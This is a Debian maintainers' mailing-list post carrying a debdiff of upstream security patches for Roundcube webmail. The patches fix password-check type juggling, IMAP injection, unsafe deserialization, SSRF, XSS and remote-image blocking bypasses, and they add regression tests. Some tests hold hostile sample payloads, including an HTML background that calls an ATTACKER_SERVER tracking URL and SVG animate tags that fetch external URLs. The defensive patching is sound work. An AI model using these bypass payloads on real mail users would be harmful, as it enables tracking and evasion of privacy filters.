+ 1 file changed, 13 insertions(+), 13 deletions(-)
+
+diff --git a/program/lib/Roundcube/rcube_utils.php b/program/lib/Roundcube/rcube_utils.php
+index 8ff1db8..b6677e4 100644
+--- a/program/lib/Roundcube/rcube_utils.php
++++ b/program/lib/Roundcube/rcube_utils.php
+@@ -1,7 +1,5 @@
+ <?php
+
+-use IPLib\Factory;
+-
+ /*
+ +-----------------------------------------------------------------------+
+ | This file is part of the Roundcube Webmail client |
+@@ -435,20 +433,22 @@ class rcube_utils
+ if (is_string($host)) {
+ // TODO: This is pretty fast, but a single message can contain multiple links
+ // to the same target, maybe we should do some in-memory caching.
+- if ($address = Factory::parseAddressString($host = trim($host, '[]'))) {
++ if ($address = @inet_pton($host = trim($host, '[]'))) {
+ $nets = [
+- '127.0.0.0/8', // loopback
+- '10.0.0.0/8', // RFC1918
+- '172.16.0.0/12', // RFC1918
+- '192.168.0.0/16', // RFC1918
+- '169.254.0.0/16', // link-local / cloud metadata
+- '::1/128',
+- 'fc00::/7',
++ ['127.0.0.0', '127.255.255.255'], // loopback
++ ['10.0.0.0', '10.255.255.255'], // RFC1918
++ ['172.16.0.0', '172.31.255.255'], // RFC1918
++ ['192.168.0.0', '192.168.255.255'], // RFC1918
++ ['169.254.0.0', '169.254.255.255'], // link-local / cloud metadata
++ ['::1', '::1'],
++ ['fc00::', 'fdff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'],
+ ];
+
+- foreach ($nets as $net) {
+- $range = Factory::parseRangeString($net);
+- if ($range->contains($address)) {
++ foreach ($nets as [$range_start, $range_end]) {
++ $range_start = @inet_pton($range_start);
++ $range_end = @inet_pton($range_end);
++ if (is_string($range_start) && strcmp($range_start, $address) <= 0 &&
++ is_string($range_end) && strcmp($range_end, $address) >= 0) {
+ return true;
+ }
+ }
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch 1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,33 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Tue, 17 Mar 2026 15:18:24 +0100
+Subject: Fix bug where a password could get changed without providing the old
+ password
+
+The password plugin uses loose comparison, leading to a type juggling vulnerability that
+allows password changes without knowing the old password in specific cases.
+
+Reported by flydragon777
+
+Origin: https://github.com/roundcube/roundcubemail/commit/6fa2bddc59b9c9fd31cad4a9e2954a208d793dce
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ plugins/password/password.php | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/plugins/password/password.php b/plugins/password/password.php
+index ebde3ec..e4cdd8a 100644
+--- a/plugins/password/password.php
++++ b/plugins/password/password.php
+@@ -333,10 +333,10 @@ class password extends rcube_plugin
+ else {
+ switch ($type) {
+ case PASSWORD_COMPARE_CURRENT:
+- $result = $curpwd != $newpwd ? $this->gettext('passwordincorrect') : null;
++ $result = $curpwd !== $newpwd ? $this->gettext('passwordincorrect') : null;
+ break;
+ case PASSWORD_COMPARE_NEW:
+- $result = $curpwd == $newpwd ? $this->gettext('samepasswd') : null;
++ $result = $curpwd === $newpwd ? $this->gettext('samepasswd') : null;
+ break;
+ default:
+ $result = $this->gettext('internalerror');
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch 1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,40 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Wed, 18 Mar 2026 10:20:00 +0100
+Subject: Fix fixed position mitigation bypass via use of !important
+
+Reported by nullcathedral
+
+Origin: https://github.com/roundcube/roundcubemail/commit/099009b9c8e1d3c636fb9a5af72f7c2596018662
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/lib/Roundcube/rcube_utils.php | 2 +-
+ tests/Framework/Utils.php | 3 +++
+ 2 files changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/program/lib/Roundcube/rcube_utils.php b/program/lib/Roundcube/rcube_utils.php
+index d847461..59a26c0 100644
+--- a/program/lib/Roundcube/rcube_utils.php
++++ b/program/lib/Roundcube/rcube_utils.php
+@@ -558,7 +558,7 @@ class rcube_utils
+ if ($property == 'page') {
+ // Remove 'page' attributes (#7604)
+ continue;
+- } elseif ($property == 'position' && strcasecmp($value, 'fixed') === 0) {
++ } elseif ($property == 'position' && stripos($value, 'fixed') !== false) {
+ // Convert position:fixed to position:absolute (#5264)
+ $value = 'absolute';
+ } elseif (preg_match('/expression|image-set/i', $value)) {
+diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php
+index c0e9aea..9a702d6 100644
+--- a/tests/Framework/Utils.php
++++ b/tests/Framework/Utils.php
+@@ -280,6 +280,9 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+ $mod = \rcube_utils::mod_css_styles('.test { position: fixed; top: 0;', 'rcmbody');
+ $this->assertSame('#rcmbody .test { position: absolute; top: 0; }', $mod, 'Replace position:fixed with position:absolute (6)');
+
++ $mod = \rcube_utils::mod_css_styles('.test { position: fixed !important; }', 'rcmbody');
++ $this->assertSame('#rcmbody .test { position: absolute; }', $mod, 'Replace position:fixed with position:absolute (7)');
++
+ // allow data URIs with images (#5580)
+ $mod = rcube_utils::mod_css_styles("body { background-image: url(data:image/png;base64,123); }", 'rcmbody');
+ $this->assertStringContainsString("#rcmbody { background-image: url(data:image/png;base64,123);", $mod, "Data URIs in url() allowed [1]");
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch 1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,42 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Tue, 17 Mar 2026 15:34:13 +0100
+Subject: Fix IMAP Injection + CSRF bypass in mail search
+
+Reported by Martila Security Research Team
+
+Origin: https://github.com/roundcube/roundcubemail/commit/b18a8fa8e81571914c0ff55d4e20edb459c6952c
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/actions/mail/search.php | 4 ++++
+ program/actions/mail/send.php | 3 +++
+ 2 files changed, 7 insertions(+)
+
+diff --git a/program/actions/mail/search.php b/program/actions/mail/search.php
+index 84b4909..3dac7a5 100644
+--- a/program/actions/mail/search.php
++++ b/program/actions/mail/search.php
+@@ -71,6 +71,10 @@ class rcmail_action_mail_search extends rcmail_action_mail_index
+ $sort_column = self::sort_column();
+ $sort_order = self::sort_order();
+
++ // We pass the filter as-is into IMAP SEARCH command. A newline could be used
++ // to inject extra commands, so we remove these.
++ $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
++
+ // set message set for already stored (but incomplete) search request
+ if (!empty($continue) && isset($_SESSION['search']) && $_SESSION['search_request'] == $continue) {
+ $rcmail->storage->set_search_set($_SESSION['search']);
+diff --git a/program/actions/mail/send.php b/program/actions/mail/send.php
+index a28d7f9..0226fdc 100644
+--- a/program/actions/mail/send.php
++++ b/program/actions/mail/send.php
+@@ -281,6 +281,9 @@ class rcmail_action_mail_send extends rcmail_action
+ }
+
+ if ($savedraft) {
++ // Sanitize the IMAP SEARCH input
++ $message_id = preg_replace('/[\r\n]+/', '', $message_id);
++
+ // remember new draft-uid ($saved could be an UID or true/false here)
+ if ($saved && is_bool($saved)) {
+ $index = $rcmail->storage->search_once($drafts_mbox, 'HEADER Message-ID ' . $message_id);
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch 1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,43 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Tue, 17 Mar 2026 15:11:38 +0100
+Subject: Fix pre-auth arbitrary file write via unsafe deserialization in
+ redis/memcache session handler
+
+Disable GuzzleHttp\Cookie\FileCookieJar instantiation.
+
+Reported by y0us.
+
+Origin: https://github.com/roundcube/roundcubemail/commit/a4ead994d2f0ea92e4a1603196a197e0d5df1620
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/include/iniset.php | 11 ++++++++++-
+ 1 file changed, 10 insertions(+), 1 deletion(-)
+
+diff --git a/program/include/iniset.php b/program/include/iniset.php
+index c4ab39f..4dc4937 100644
+--- a/program/include/iniset.php
++++ b/program/include/iniset.php
+@@ -1,6 +1,8 @@
+ <?php
+
+-/**
++use GuzzleHttp\Cookie\FileCookieJar;
++
++/*
+ +-----------------------------------------------------------------------+
+ | This file is part of the Roundcube Webmail client |
+ | |
+@@ -80,6 +82,13 @@ require_once 'Roundcube/bootstrap.php';
+ // register autoloader for rcmail app classes
+ spl_autoload_register('rcmail_autoload');
+
++// disable use of dangerous dependencies
++spl_autoload_register(static function ($classname) {
++ if ($classname === FileCookieJar::class) {
++ throw new \Exception("{$classname} is forbidden for security reasons.");
++ }
++}, true, true);
++
+ /**
+ * PHP5 autoloader routine for dynamic class loading
+ */
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch 1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,38 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Thu, 19 Mar 2026 14:11:06 +0100
+Subject: Fix regression where mail search would fail on non-ascii search
+ criteria
+
+Origin: https://github.com/roundcube/roundcubemail/commit/6b137adda9b042c3742b0f968692e95ed367d3d1
+Bug: https://github.com/roundcube/roundcubemail/issues/10121
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/actions/mail/search.php | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/program/actions/mail/search.php b/program/actions/mail/search.php
+index 3dac7a5..2525b0f 100644
+--- a/program/actions/mail/search.php
++++ b/program/actions/mail/search.php
+@@ -56,6 +56,10 @@ class rcmail_action_mail_search extends rcmail_action_mail_index
+ // add list filter string
+ $search_str = $filter && $filter != 'ALL' ? $filter : '';
+
++ // We pass the filter as-is into IMAP SEARCH command. A newline could be used
++ // to inject extra commands, so we remove these.
++ $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
++
+ if ($search_interval = self::search_interval_criteria($interval)) {
+ $search_str .= ' ' . $search_interval;
+ }
+@@ -71,10 +75,6 @@ class rcmail_action_mail_search extends rcmail_action_mail_index
+ $sort_column = self::sort_column();
+ $sort_order = self::sort_order();
+
+- // We pass the filter as-is into IMAP SEARCH command. A newline could be used
+- // to inject extra commands, so we remove these.
+- $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
+-
+ // set message set for already stored (but incomplete) search request
+ if (!empty($continue) && isset($_SESSION['search']) && $_SESSION['search_request'] == $continue) {
+ $rcmail->storage->set_search_set($_SESSION['search']);
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch 1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,60 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Wed, 18 Mar 2026 10:15:43 +0100
+Subject: Fix remote image blocking bypass via a crafted body background
+ attribute
+
+Reported by nullcathedral
+
+Origin: https://github.com/roundcube/roundcubemail/commit/fde14d01adc9f37893cd82b635883e516ed453f8
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/lib/Roundcube/rcube_washtml.php | 5 +++++
+ tests/Framework/Washtml.php | 19 +++++++++++++------
+ 2 files changed, 18 insertions(+), 6 deletions(-)
+
+diff --git a/program/lib/Roundcube/rcube_washtml.php b/program/lib/Roundcube/rcube_washtml.php
+index 4e05462..abca35f 100644
+--- a/program/lib/Roundcube/rcube_washtml.php
++++ b/program/lib/Roundcube/rcube_washtml.php
+@@ -427,6 +427,11 @@ class rcube_washtml
+ return 'data:image/' . $type . ',' . base64_encode($svg);
+ }
+
++ // At this point we allow only valid base64 images
++ if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\s/+]|i', $matches[2])) {
++ return '';
++ }
++
+ return $uri;
+ }
+ }
+diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php
+index 457e8eb..ff2ad0f 100644
+--- a/tests/Framework/Washtml.php
++++ b/tests/Framework/Washtml.php
+@@ -262,12 +262,19 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+ $washer = new rcube_washtml(['html_elements' => ['body']]);
+ $washed = $washer->wash($html);
+
+- $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, "Body bgcolor attribute");
+- $this->assertMatchesRegularExpression('|text="#000"|', $washed, "Body text attribute");
+- $this->assertMatchesRegularExpression('|background="#test"|', $washed, "Body background attribute");
+- $this->assertMatchesRegularExpression('|link="#111"|', $washed, "Body link attribute");
+- $this->assertMatchesRegularExpression('|alink="#222"|', $washed, "Body alink attribute");
+- $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, "Body vlink attribute");
++ $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 'Body bgcolor attribute');
++ $this->assertMatchesRegularExpression('|text="#000"|', $washed, 'Body text attribute');
++ $this->assertMatchesRegularExpression('|background="#test"|', $washed, 'Body background attribute');
++ $this->assertMatchesRegularExpression('|link="#111"|', $washed, 'Body link attribute');
++ $this->assertMatchesRegularExpression('|alink="#222"|', $washed, 'Body alink attribute');
++ $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, 'Body vlink attribute');
++
++ $html = '<html><body background="data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=test"></body></html>';
++
++ $washer = new \rcube_washtml(['html_elements' => ['body']]);
++ $washed = $washer->wash($html);
++
++ $this->assertMatchesRegularExpression('|x-washed="background"|', $washed, 'Body evil background');
+ }
+
+ /**
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch 1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,112 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Tue, 17 Mar 2026 15:53:29 +0100
+Subject: Fix remote image blocking bypass via various SVG animate attributes
+
+Reported by nullcathedral
+
+Origin: https://github.com/roundcube/roundcubemail/commit/39471343ee081ce1d31696c456a2c163462daae3
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/lib/Roundcube/rcube_washtml.php | 38 +++++++++++++++++++++++++--------
+ tests/Framework/Washtml.php | 14 ++++++++++++
+ 2 files changed, 43 insertions(+), 9 deletions(-)
+
+diff --git a/program/lib/Roundcube/rcube_washtml.php b/program/lib/Roundcube/rcube_washtml.php
+index 8721fe7..4e05462 100644
+--- a/program/lib/Roundcube/rcube_washtml.php
++++ b/program/lib/Roundcube/rcube_washtml.php
+@@ -504,22 +504,22 @@ class rcube_washtml
+ * Do it in case-insensitive manner.
+ *
+ * @param DOMElement $node The element
+- * @param string $attr_name The attribute name
+- * @param string $attr_value The attribute value to find
++ * @param string $attr_value The attribute value to find (regexp)
+ *
+ * @return bool True if the specified attribute exists and has the expected value
+ */
+ private static function attribute_value($node, $attr_name, $attr_value)
+ {
+ $attr_name = strtolower($attr_name);
+- $attr_value = strtolower($attr_value);
+
+ foreach ($node->attributes as $name => $attr) {
+ if (strtolower($name) === $attr_name) {
++ $val = trim($attr->nodeValue);
+ // Read the attribute name, remove the namespace (e.g. xlink:href => href)
+- $val = strtolower(trim($attr->nodeValue));
+- $val = trim(preg_replace('/^.*:/', '', $val));
+- if ($attr_value === $val) {
++ if ($attr_name === 'attributename') {
++ $val = trim(preg_replace('/^.*:/', '', $val));
++ }
++ if (preg_match($attr_value, $val)) {
+ return true;
+ }
+ }
+@@ -528,6 +528,27 @@ class rcube_washtml
+ return false;
+ }
+
++ /**
++ * Check if the node is an insecure element
++ *
++ * @param \DOMElement $node
++ */
++ private static function is_insecure_tag($node)
++ {
++ $tagName = strtolower($node->nodeName);
++
++ if (!in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])) {
++ return false;
++ }
++
++ if (self::attribute_value($node, 'attributeName', '/^href$/i')) {
++ return true;
++ }
++
++ return self::attribute_value($node, 'attributeName', '/^(mask|cursor)$/i')
++ && self::attribute_value($node, 'values', '/url\(/i');
++ }
++
+ /**
+ * The main loop that recurse on a node tree.
+ * It output only allowed tags with allowed attributes and allowed inline styles
+@@ -579,10 +600,9 @@ class rcube_washtml
+
+ $node->setAttribute('href', (string) $uri);
+ }
+- else if (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
+- && self::attribute_value($node, 'attributename', 'href')
+- ) {
++ else if (self::is_insecure_tag($node)) {
+ // Insecure svg tags
++ // TODO: We really should use wash_attribs()/wash_uri() for these cases
+ if ($this->config['add_comments']) {
+ $dump .= "<!-- {$tagName} blocked -->";
+ }
+diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php
+index ef324f8..457e8eb 100644
+--- a/tests/Framework/Washtml.php
++++ b/tests/Framework/Washtml.php
+@@ -500,6 +500,20 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+ '<html><svg><defs><filter><feImage xlink:href="http://external.site"/></filter></defs></html>',
+ '<svg><defs><filter><feImage x-washed="xlink:href"></feImage></filter></defs></svg>',
+ ],
++ [
++ '<svg><animate attributeName="mask" values="url(https://external.site)" fill="freeze" dur="0.1s" /></svg>',
++ '<svg><!-- animate blocked --></svg>',
++ ],
++ [
++ '<svg><animate attributeName="mask" values="none;url(https://external.site);url(https://external.site)"'
++ . ' repeatCount="indefinite" dur="1s" /></svg>',
++ '<svg><!-- animate blocked --></svg>',
++ ],
++ [
++ '<svg><animate attributeName="cursor" attributeType="CSS" values="url(https://external.site),auto"'
++ . ' feel="freeze" dur="1s" /></svg>',
++ '<svg><!-- animate blocked --></svg>',
++ ],
+ ];
+ }
+
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch 1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,164 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Wed, 18 Mar 2026 10:35:16 +0100
+Subject: Fix SSRF + Information Disclosure via stylesheet links to a local
+ network hosts
+
+Reported by Georgios Tsimpidas (aka Frey), Security Researcher at https://i0.rs/
+
+Origin: https://github.com/roundcube/roundcubemail/commit/27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/actions/mail/index.php | 2 +-
+ program/actions/utils/modcss.php | 2 +-
+ program/lib/Roundcube/rcube_utils.php | 46 ++++++++++++++++++++++++++++++++-
+ program/lib/Roundcube/rcube_washtml.php | 2 +-
+ tests/Framework/Utils.php | 34 ++++++++++++++++++++++++
+ 5 files changed, 82 insertions(+), 4 deletions(-)
+
+diff --git a/program/actions/mail/index.php b/program/actions/mail/index.php
+index 9c54955..55b3cb4 100644
+--- a/program/actions/mail/index.php
++++ b/program/actions/mail/index.php
+@@ -1270,7 +1270,7 @@ class rcmail_action_mail_index extends rcmail_action
+ if (isset($attrib['href'])) {
+ $attrib['href'] = preg_replace('/[\x00-\x1F]/', '', $attrib['href']);
+
+- if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])) {
++ if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href']) && !rcube_utils::is_local_url($attrib['href'])) {
+ $tempurl = 'tmp-' . md5($attrib['href']) . '.css';
+ $_SESSION['modcssurls'][$tempurl] = $attrib['href'];
+ $attrib['href'] = $rcmail->url([
+diff --git a/program/actions/utils/modcss.php b/program/actions/utils/modcss.php
+index d1f34b3..8512bdf 100644
+--- a/program/actions/utils/modcss.php
++++ b/program/actions/utils/modcss.php
+@@ -44,7 +44,7 @@ class rcmail_action_utils_modcss extends rcmail_action
+ $ctype = null;
+
+ try {
+- $client = rcube::get_instance()->get_http_client();
++ $client = rcube::get_instance()->get_http_client(['allow_redirects' => false]);
+ $response = $client->get($realurl);
+
+ if (!empty($response)) {
+diff --git a/program/lib/Roundcube/rcube_utils.php b/program/lib/Roundcube/rcube_utils.php
+index 59a26c0..8ff1db8 100644
+--- a/program/lib/Roundcube/rcube_utils.php
++++ b/program/lib/Roundcube/rcube_utils.php
+@@ -1,6 +1,8 @@
+ <?php
+
+-/**
++use IPLib\Factory;
++
++/*
+ +-----------------------------------------------------------------------+
+ | This file is part of the Roundcube Webmail client |
+ | |
+@@ -419,6 +421,48 @@ class rcube_utils
+ return asciiwords($str, true, '_');
+ }
+
++ /**
++ * Check if an URL point to a local network location.
++ *
++ * @param string $url
++ *
++ * @return bool
++ */
++ public static function is_local_url($url)
++ {
++ $host = parse_url($url, \PHP_URL_HOST);
++
++ if (is_string($host)) {
++ // TODO: This is pretty fast, but a single message can contain multiple links
++ // to the same target, maybe we should do some in-memory caching.
++ if ($address = Factory::parseAddressString($host = trim($host, '[]'))) {
++ $nets = [
++ '127.0.0.0/8', // loopback
++ '10.0.0.0/8', // RFC1918
++ '172.16.0.0/12', // RFC1918
++ '192.168.0.0/16', // RFC1918
++ '169.254.0.0/16', // link-local / cloud metadata
++ '::1/128',
++ 'fc00::/7',
++ ];
++
++ foreach ($nets as $net) {
++ $range = Factory::parseRangeString($net);
++ if ($range->contains($address)) {
++ return true;
++ }
++ }
++
++ return false;
++ }
++
++ // FIXME: Should we accept any non-fqdn hostnames?
++ return (bool) preg_match('/^localhost(\.localdomain)?$/i', $host);
++ }
++
++ return false;
++ }
++
+ /**
+ * Replace all css definitions with #container [def]
+ * and remove css-inlined scripting, make position style safe
+diff --git a/program/lib/Roundcube/rcube_washtml.php b/program/lib/Roundcube/rcube_washtml.php
+index abca35f..6799038 100644
+--- a/program/lib/Roundcube/rcube_washtml.php
++++ b/program/lib/Roundcube/rcube_washtml.php
+@@ -393,7 +393,7 @@ class rcube_washtml
+ }
+
+ if (preg_match('/^(http|https|ftp):.+/i', $uri)) {
+- if (!empty($this->config['allow_remote'])) {
++ if (!empty($this->config['allow_remote']) || rcube_utils::is_local_url($uri)) {
+ return $uri;
+ }
+
+diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php
+index 9a702d6..8a95001 100644
+--- a/tests/Framework/Utils.php
++++ b/tests/Framework/Utils.php
+@@ -552,6 +552,40 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+ }
+ }
+
++ /**
++ * Test is_local_url()
++ *
++ * @dataProvider provide_is_local_url_cases
++ */
++ #[DataProvider('provide_is_local_url_cases')]
++ public function test_is_local_url($input, $output)
++ {
++ $this->assertSame($output, \rcube_utils::is_local_url($input));
++ }
++
++ /**
++ * Test-Cases for is_local_url() test
++ */
++ public static function provide_is_local_url_cases(): iterable
++ {
++ return [
++ // Local hosts
++ ['https://127.0.0.1', true],
++ ['https://10.1.1.1', true],
++ ['https://172.16.0.1', true],
++ ['https://192.168.0.100', true],
++ ['https://169.254.0.200', true],
++ ['http://[fc00::1]', true],
++ ['ftp://[::1]:8080', true],
++ ['//127.0.0.1', true],
++ ['http://localhost', true],
++ ['http://localhost.localdomain', true],
++ // Non-local hosts
++ ['http://[2001:470::76:0:0:0:2]', false],
++ ['http://domain.tld', false],
++ ];
++ }
++
+ /**
+ * rcube:utils::strtotime()
+ */
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch 1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,26 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Wed, 18 Mar 2026 10:23:34 +0100
+Subject: Fix XSS issue in a HTML attachment preview
+
+Reported by aikido_security
+
+Origin: https://github.com/roundcube/roundcubemail/commit/10a6d1fa8acac85c727b0a6ae4a6642bfa27bea1
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/include/rcmail_action.php | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/program/include/rcmail_action.php b/program/include/rcmail_action.php
+index 9cb41da..4266ac1 100644
+--- a/program/include/rcmail_action.php
++++ b/program/include/rcmail_action.php
+@@ -691,6 +691,9 @@ abstract class rcmail_action
+ header('Content-Type: ' . $file['mimetype']);
+ header('Content-Length: ' . $file['size']);
+
++ // Use strict security policy to make sure no javascript is executed
++ header("Content-Security-Policy: script-src 'none'");
++
+ if (isset($file['data']) && is_string($file['data'])) {
+ echo $file['data'];
+ }
diff -Nru roundcube-1.6.5+dfsg/debian/patches/series roundcube-1.6.5+dfsg/debian/patches/series
--- roundcube-1.6.5+dfsg/debian/patches/series 2026-02-11 12:05:21.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/series 2026-03-20 19:15:19.000000000 +0100
@@ -36,3 +36,13 @@
CVE-2026-26079/01-1f4c3a5af.patch
CVE-2026-26079/02-2b5625f1d.patch
CVE-2026-26079/03-53d75d5df.patch
+Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch
+Fix-bug-where-a-password-could-get-changed-without-provid.patch
+Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch
+Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
+Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch
+Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch
+Fix-fixed-position-mitigation-bypass-via-use-of-important.patch
+Fix-XSS-issue-in-a-HTML-attachment-preview.patch
+Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch
+Avoid-dependency-on-new-package-mlocati-ip-lib.patch
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-roundcube-maintainers/attachments/20260324/1bf1fd20/attachment-0001.sig>
More information about the Pkg-roundcube-maintainers
mailing list